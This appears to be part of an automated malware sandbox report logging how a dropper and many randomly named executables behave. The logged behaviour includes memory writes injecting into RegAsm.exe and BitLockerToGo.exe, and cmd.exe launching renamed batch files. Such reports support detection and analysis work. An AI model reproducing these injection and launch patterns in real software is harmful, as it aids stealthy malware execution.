Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 56C000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58B000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 593000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 5D9000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: B88008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42F000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43C000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 651000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 652000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: EB9008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 432000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 11B5008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 642008
Source: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000
Source: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 401000
Source: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 443000
Source: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 446000
Source: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 456000
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42F000
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43C000
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 651000
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 652000
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 103C008
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63E000
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: CB1008
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 456000
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 47E000
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: C51008

Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe

Code function: 6_2_00007FF7B2F8B190 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,WaitForInputIdle,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

6_2_00007FF7B2F8B190

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat" "	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process created: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe "C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Measuring Measuring.bat & Measuring.bat	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Visitor Visitor.bat & Visitor.bat & exit
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2200 -ip 2200
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2200 -s 880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\clamer.exe clamer.exe -pfrhasdtr
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\clamer.exe	Process created: unknown unknown

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0053F12E cpuid

1_2_0053F12E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	1_2_00561384
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	1_2_00561589
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	1_2_0056167B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	1_2_00561630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	1_2_00561716
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	1_2_005617A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	1_2_0055B835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoEx,FormatMessageA,	1_2_0054097F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	1_2_005619F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_00561B1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	1_2_00561C23
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	1_2_00561CF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	1_2_0055BD04
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: GetLocaleInfoW,GetNumberFormatW,	6_2_00007FF7B2F8A2CC
Source: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe	Code function: GetLocaleInfoA,	10_2_0040520C
Source: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe	Code function: GetLocaleInfoA,	10_2_00405258

Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Queries volume information: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Queries volume information: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Queries volume information: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Queries volume information: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe VolumeInformation
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe	Queries volume information: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe VolumeInformation
Source: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe	Queries volume information: C:\Windows VolumeInformation
Source: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe	Queries volume information: C:\Windows\AppReadiness VolumeInformation
Source: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation
Source: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Queries volume information: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe VolumeInformation
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Queries volume information: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe VolumeInformation
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Queries volume information: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
